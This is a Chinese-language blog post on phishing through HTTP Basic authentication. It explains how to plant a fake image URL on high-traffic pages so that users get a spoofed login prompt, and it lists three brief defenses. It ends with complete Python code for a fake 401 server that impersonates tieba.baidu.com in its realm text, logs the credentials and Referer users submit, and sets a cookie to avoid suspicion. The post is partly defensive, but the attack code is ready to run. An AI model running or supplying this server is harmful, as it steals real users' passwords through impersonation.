代码片段: https://gist.github.com/lijiejie/d51f843563b732bf3907
1) 什么是HTTP Basic认证
HTTP Basic认证是由web服务器提供的,一种轻便的身份校验方式。
访问某些敏感资源时,服务器将要求输入账号、密码进行校验,通过之后才可继续访问,如下图所示:
2) 如何使用HTTP Basic认证钓鱼
最常见的一种攻击方式,是在访问量大、又能够插入第三方图片的页面中,插入由我们构造的超链接。
这样,当别人访问页面时,浏览器就可能弹出对话框来(Chrome不会触发、而其他浏览器多数可以)。
缺乏安全意识的用户可能会把自己的账号密码输入进去,被攻击者截获。
比如上述http://106.187.34.156:1234/img/baidu_logo.gif,背后实际是python实现的一个简单http服务器。
用户初次访问,它会提示用户键入账号。
而一旦提交,它会自动302重定向到百度的logo。同时,把用户输入的账号、密码,Referrer等信息截取。还标记一个Cookie,避免反复提醒用户输入造成对方的警觉。
3) 如何防御
防御可以从这几方面考虑:
- 1) 不允许插入第三方图片,用户只能上传到本网站
- 2) 插入时对图片的真实性和可访问性进行必要的检查(可能被攻击者绕过,先临时用真实图片,发布成功再设置basic认证)
- 3) 把第三方图片远程下载保存到本地服务器上,会增加成本
4) Python伪造一个401服务器
#encoding=utf-8 import SimpleHTTPServer import SocketServer import time class RequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): if str(self.headers).find('UserLogin=1') > 0: # 用户已记录,跳转 self.send_response(302) self.send_header('Location','http://www.baidu.com/img/bdlogo.gif') self.end_headers() else: if str(self.headers).find('Authorization: Basic ') > 0: # 保存账号密码和Referrer self.send_response(302) self.send_header('Set-Cookie', 'UserLogin=1') self.send_header('Location','http://www.baidu.com/img/bdlogo.gif') with open('data\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f: f.write(str(self.headers)) else: self.send_response(401) self.send_header('Content-type','text/html; charset=UTF-8') self.send_header('WWW-Authenticate', 'Basic realm="Session Out Of Date, Please Login again [tieba.baidu.com]"') self.end_headers() PORT = 1234 httpd = SocketServer.TCPServer(("", PORT), RequestHandler) print "serving at port", PORT httpd.serve_forever()